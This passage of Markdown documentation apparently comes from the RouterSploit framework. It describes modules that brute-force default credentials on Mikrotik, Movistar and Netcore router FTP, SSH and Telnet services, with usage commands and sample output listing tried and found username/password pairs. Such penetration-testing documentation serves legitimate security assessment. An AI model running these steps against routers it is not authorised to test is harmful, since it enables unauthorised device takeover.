   192.168.1.1     22       ssh         admin        admin 

```


================================================
FILE: docs/modules/creds/routers/mikrotik/telnet_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Mikrotik Router Telnet service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/routers/mikrotik/telnet_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/routers/mikrotik/telnet_default_creds
rsf (Mikrotik Router Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Mikrotik Router Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

```


================================================
FILE: docs/modules/creds/routers/movistar/ftp_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Movistar Router FTP service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/routers/movistar/ftp_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/routers/movistar/ftp_default_creds
rsf (Movistar Router Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Movistar Router Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06290411949157715 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     21       ftp         admin        admin 

```


================================================
FILE: docs/modules/creds/routers/movistar/ssh_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Movistar Router SSH service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/routers/movistar/ssh_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/routers/movistar/ssh_default_creds
rsf (Movistar Router Default SSH Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Movistar Router Default SSH Creds) > run
[*] Running module...
[*] Target exposes SSH service
[*] Starting default credentials attack against SSH service
[*] thread-0 thread is starting...
[-] SSH Authentication Failed - Username: 'admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'admin' Password: '123456'
[-] SSH Authentication Failed - Username: 'Admin' Password: '12345'
[-] SSH Authentication Failed - Username: 'Admin' Password: '123456'
[+] SSH Authentication Successful - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 2.3932292461395264 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     22       ssh         admin        admin 

```


================================================
FILE: docs/modules/creds/routers/movistar/telnet_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Movistar Router Telnet service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/routers/movistar/telnet_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/routers/movistar/telnet_default_creds
rsf (Movistar Router Default Telnet Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Movistar Router Default Telnet Creds) > run
[*] Running module...
[*] Target exposes Telnet service
[*] Starting default credentials attack against Telnet service
[*] thread-0 thread is starting...
[-] Telnet Authentication Failed - Username: 'admin' Password: 'admin'
[-] Telnet Authentication Failed - Username: '1234' Password: '1234'
[-] Telnet Authentication Failed - Username: 'root' Password: '12345'
[-] Telnet Authentication Failed - Username: 'root' Password: 'root'
[+] Telnet Authentication Successful - Username: 'user' Password: 'user'
[*] thread-0 thread is terminated.
[*] Elapsed time: 5.389287948608398 seconds
[+] Credentials found!

   Target          Port     Service     Username     Password
   ------          ----     -------     --------     --------
   192.168.1.1     23       telnet      user         user

```


================================================
FILE: docs/modules/creds/routers/netcore/ftp_default_creds.md
================================================
## Description

Module performs dictionary attack with default credentials against Netcore Router FTP service.
If valid credentials are found, they are displayed to the user.

## Verification Steps

  1. Start `./rsf.py`
  2. Do: `use creds/routers/netcore/ftp_default_creds`
  3. Do: `set target [TargetIP]`
  4. Do: `run`
  5. If valid credentials are found, they are displayed to the user.

## Scenarios

```
rsf > use creds/routers/netcore/ftp_default_creds
rsf (Netcore Router Default FTP Creds) > set target 192.168.1.1
[+] target => 192.168.1.1
rsf (Netcore Router Default FTP Creds) > run
[*] Running module...
[*] Target exposes FTP service
[*] Starting attack against FTP service
[*] thread-0 thread is starting...
[-] Authentication Failed - Username: 'admin' Password: '12345'
[-] Authentication Failed - Username: 'admin' Password: '123456'
[-] Authentication Failed - Username: 'Admin' Password: '12345'
[-] Authentication Failed - Username: 'Admin' Password: '123456'
[+] Authenticated Succeed - Username: 'admin' Password: 'admin'
[*] thread-0 thread is terminated.
[*] Elapsed time: 0.06